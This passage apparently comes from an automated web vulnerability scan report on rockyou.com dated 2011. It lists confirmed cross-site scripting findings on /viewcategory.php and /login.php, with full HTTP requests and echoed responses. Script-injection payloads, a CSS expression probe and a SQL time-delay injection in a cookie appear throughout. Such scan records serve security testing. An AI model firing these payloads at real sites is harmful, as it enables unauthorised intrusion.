// Check that current character isn't whitespace.
var c = s.charAt(i);
if (bag.indexOf(c) == -1) returnString += c;
}
return returnString;
}
function isInteger(s)
{ var i;
for (i = 0; i < s.length; i++)
{
// Check that current character is number.
var c = s.charAt(i);
if (((c < "0") || (c > "9"))) return false;
}
// All characters are numbers.
return true;
}
function autoTab(curField,toField,maxlength){
if (curField.getAttribute && curField.value.length==maxlength)
{
toField.focus();
}
}
</script>
<style>
body {background:url(images/background.gif) top no-repeat; font-family: verdana, ariel; font-size: 11px;}
table{margin-left:10px; }
td {font-size: 12px;}
#title{background:url(images/entryboxTitleBg.gif) top no-repeat; width: 264px; height:28px; text-align: center; }
#pulldown {background:url(images/entryboxbg.gif) top no-repeat; width: 253px; height:180px; padding: 6px 6px 6px 6px; }
select{font-family: Verdana, Arial, sans-serif; font-size: 12px; width:170px;}
.col{text-align:left;}
#titleTxt {text-align:center; padding: 6px 2px 2px 2px; font-size: 12px; color:#999; font-weight: bold; }
</style>
</head>
<body onload="getCarrier();">
<div style="margin: auto; text-align: center;"><img src="images/header.jpg" /></div>
<form name="mobiletypeform">
<img src="" stYle="x:expre/**/ssion(netsparker(9))" width="200" style="float:right;margin-right:50px" />
<div id="pricing" style="margin:10px"></div>
<div id="instructions" style="margin:10px;">
<div id="title">
<div id="titleTxt">Enter your mobile information</div>
</div>
<div id="pulldown">
<table cellpadding="3" width="235" border="0" cellspacing="0">
<tr>
<td>
<select id='carrierselect' onchange='getManufacturer();' name='carrier' />
</td>
</tr>
<tr>
<td>
<select id='manufacturerselect' onchange='getDevice();' name='manufacturer' />
</td>
</tr>
<tr>
<td>
<select id='deviceselect' name='device'/>
</td>
</tr>

<tr valign="top">
<td nowrap>

<input type="text" name="phonenumber1" maxlength="3" size="3" value="" onKeyup="autoTab(this, document.mobiletypeform.phonenumber2,3)" />
<input type="text" name="phonenumber2" maxlength="3" size="3" value="" onKeyup="autoTab(this, document.mobiletypeform.phonenumber3,3)" />
<input type="text" name="phonenumber3" maxlength="4" size="4" value="" />
(mobile #)
<input type="hidden" id="phoneinput" name="phoneinput" value="" />
<br>
<input id="imagehidden" type="hidden" name="image" value="" stYle="x:expre/**/ssion(netsparker(9))"/>
</td>
</tr>
<tr><td nowrap>(your email)<br /><input type="text" id="emailinput" name="emailinput" size="24" value=""/></td></tr>
</table>
</div>
<table cellpadding="0" width="235" border="0" cellspacing="0">
<tr>
<td align="center">
<br>
Click "Send" to get your new wallpaper
</td>
</tr>
<tr>
<td>
<input type="image" src="images/send.gif" onclick="return finishForm();" value="Send" />
</td>
</tr>
<tr>
<td align="center">
<a style="font-family: Verdana, Arial, sans-serif; font-size: 10px; color:#666666;">By clicking the send button, you agree to standard Text and Messaging charges from your carrier.</a>
</td>
</tr>
</table>
</div>
<div id="code" style="margin:10px; font-size: 150%; font-weight: bold; color:#3333FF;"></div>
</form>
<img src="images/footer.gif" />
</body>

<!-- Funmobility Google Tracking Code -->
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-2551011-1";
urchinTracker();
</script>
<!-- /Funmobility Google Tracking Code -->

</html>
- /viewcategory.php

/viewcategory.php CONFIRMED

http://www.rockyou.com/viewcategory.php?s_catid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(..

Parameters

Parameter Type Value
s_catid GET '"--></style></script><script>alert(0x001BBA)</script>

Request

GET /viewcategory.php?s_catid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x001BBA)%3C/script%3E HTTP/1.1
Referer: http://www.rockyou.com/categorylist.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303165507; ctid=3; sns_type=rockyou.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:25:07 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:25:06 GMT; path=/; domain=.rockyou.com,lastlogin=1303165507; expires=Wed, 27-Jul-2011 22:25:07 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:25:07 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=15701 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 4123
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">

</HEAD>




<BODY class=""
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload=""
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<link href="css/browse.css" rel="stylesheet" type="text/css">
<div class="header">
<div style="float:left; font-family:Arial, Helvetica, sans-serif; font-size:16px;">
<a href="/choose_widget.php">Create</a>&nbsp;|&nbsp;
<a href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;
<a href="/featuredartists.php">Browse</a>
</div>
<div style="text-align:right; font-size:9pt; font-family:Arial, Helvetica, sans-serif">
<a href="http://www.rockyou.com/login/">Get a RockYou Account</a>&nbsp;&nbsp;|&nbsp;&nbsp;<a href="/login.php">Sign in Here</a> </div>
<div id="header_banner" style="margin-top:3px; margin-bottom:5px; width:100%; clear:both">
<table width="100%"><tr>
<td width="104px"><a href="/"><img src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" alt="RockYou.com"></a></td>
<td align="right" style="vertical-align:top">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #ff6d07"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</td>
</tr></table>
</div>
</div><div class="body">
<div class="musicheader"></div>
<div class="musicbody">

<!-- Music Slideshows -->

<div class="musicobject" style="margin-left:0px"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/zac_brown.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a> </div>

<div class="musicobject"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117375614"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/tila_tequila.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a></div>
<div class="musicobject"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=114684110"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/rissy_palmer.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a></div>
<div class="musicobject"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=105684192"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/krista.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a></div>
<div style="clear:both"></div>
</div>
<div class="musicfooter"></div>
<link href="browse/browse.css" rel="stylesheet" type="text/css">
<div class="tabmenu">
<div class="tabinactive" style="margin-left:0px"><a href="featuredartists.php">Featured Artists</a></div>
<div class="tabactive">Categories</div>
<div class="tabinactive"><a href="viewsearch.php">Tag Search</a></div>
</div>
<div style="clear:both"></div>

<div class="mainheader"></div>
<div class="mainbody">
<h2></h2>
<!-- Category listing -->
<br /><span style="margin-left:2px"><strong>Results</strong> 0-20 </span>
<span style="margin-left:165px"><strong>

Top Ranked</strong> | <a href='?s_pindex=-20&s_sort=views&s_catid='"--></style></script><script>netsparker(0x001BBA)</script>'>Most Viewed</a> | <a href='?s_pindex=-20&s_sort=date&s_catid='"--></style></script><script>netsparker(0x001BBA)</script>'>Most Recent</a></span>

<!-- // Category Listing -->

<div style="clear:both"></div>

</div><div class="mainfooter"></div>
<div class="ads">

<div style="margin-top:20px;width:100%;text-align:center">
<script type="text/javascript"><!--
google_ad_client = "pub-3255760518790512";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text_image";
google_ad_channel = "";
google_color_border = "EAEAEA";
google_color_bg = "EAEAEA";
google_color_link = "FF6C00";
google_color_text = "000000";
google_color_url = "33D02F";
//-->
</script>
<script type="text/javascript"
src=" http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>



<script type="text/javascript">
ord = window.ord || Math.floor(Math.random()*1E16);
document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/Rockyou.com/RockYou_Sky_RON;sz=160x600;ord=' + ord + '?"><\/script>');
</script>
<noscript>
<a href="http://ad.doubleclick.net/jump/Rockyou.com/RockYou_Sky_RON;sz=160x600;ord=123456789?" target="_blank" >
<img src="http://ad.doubleclick.net/ad/Rockyou.com/RockYou_Sky_RON;sz=160x600;ord=123456789?" border="0" alt="" />
</a>
</noscript>

<div style="width:120px;">

<script type="text/javascript">
//<![CDATA[
ord = window.ord || Math.floor(Math.random()*1E16);
document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/Rockyou.com/RockYou_Sky_RON;sz=160x600;ord=' + ord + '?"><\/script>');
//]]>
</script>
<noscript><a href="http://ad.doubleclick.net/jump/Rockyou.com/RockYou_Sky_RON;sz=160x600;ord=123456789?" target="_blank" ><img src="http://ad.doubleclick.net/ad/Rockyou.com/RockYou_Sky_RON;sz=160x600;ord=123456789?" border="0" alt="" /></a></noscript>

</div>
</div>

<br><br>

<div class="tp">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Copyright &copy; 2008 RockYou | <a target="_BLANK" href="/help">FAQ / Help</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-helpspace&url=http%3A%2F%2Fwww.rockyou.com%2Fhelpspace">MySpace Profile Tips</a> | <a target="_BLANK" href="/privacypolicy.php">Privacy</a> | <a href="/tos.php" target=_blank>Terms of Use</a> | <a href="/corp/facebook/ad.php" target="_blank">Facebook Advertisers</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-dev-pub&url=http%3A%2F%2Fwww.rockyouads.com" target="_blank">Facebook Developers</a> | <a href="/corp/about.php" target=_blank>About Us</a></div>

<div class="tp">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
| <a href="?lang=en&s_catid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x001BBA)&lt;/script&gt;">English</a> | <a href="?lang=zh&s_catid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x001BBA)&lt;/script&gt;">中文</a> | <a href="?lang=es&s_catid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x001BBA)&lt;/script&gt;">Español | <a href="?lang=pt&s_catid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x001BBA)&lt;/script&gt;">Português</a></a>
</div>
<br>
<br>


<script language="javascript">

if (navigator.cookieEnabled && document.cookie.indexOf('AAMBLFLAG=') == -1) {

var blTomorrow = new Date();
blTomorrow.setTime(blTomorrow.getTime() + 86400000);

document.cookie = 'AAMBLFLAG=SET; expires=' + blTomorrow.toGMTString();

if (document.cookie.indexOf('AAMBLFLAG=') > -1)
document.writeln('<iframe src="http://aps.media.adrevolver.com/adrevolver/trace?sip=65" width="0" height="0"></iframe>');

}

</script>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">
//_uacct = "UA-95090-2";
//urchinTracker();

_uacct = "UA-95090-1";urchinTracker();
</script>
<!-- Start..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalc..

Parameters

Parameter Type Value
lang GET en
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
user POST '><script>alert(9)</script>
mode POST login
pass POST 3

Request

POST /login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en&birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303165555; ctid=3; sns_type=rockyou.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--
Content-Length: 67
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

user='%3e%3cscript%3enetsparker(9)%3c%2fscript%3e&mode=login&pass=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:25:56 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 12:25:56 GMT; path=/; domain=.rockyou.com,lastlogin=1303165556; expires=Wed, 27-Jul-2011 22:25:56 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:25:56 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=96762 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9101
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="\'><script>netsparker(9)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="\'><script>netsparker(9)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option 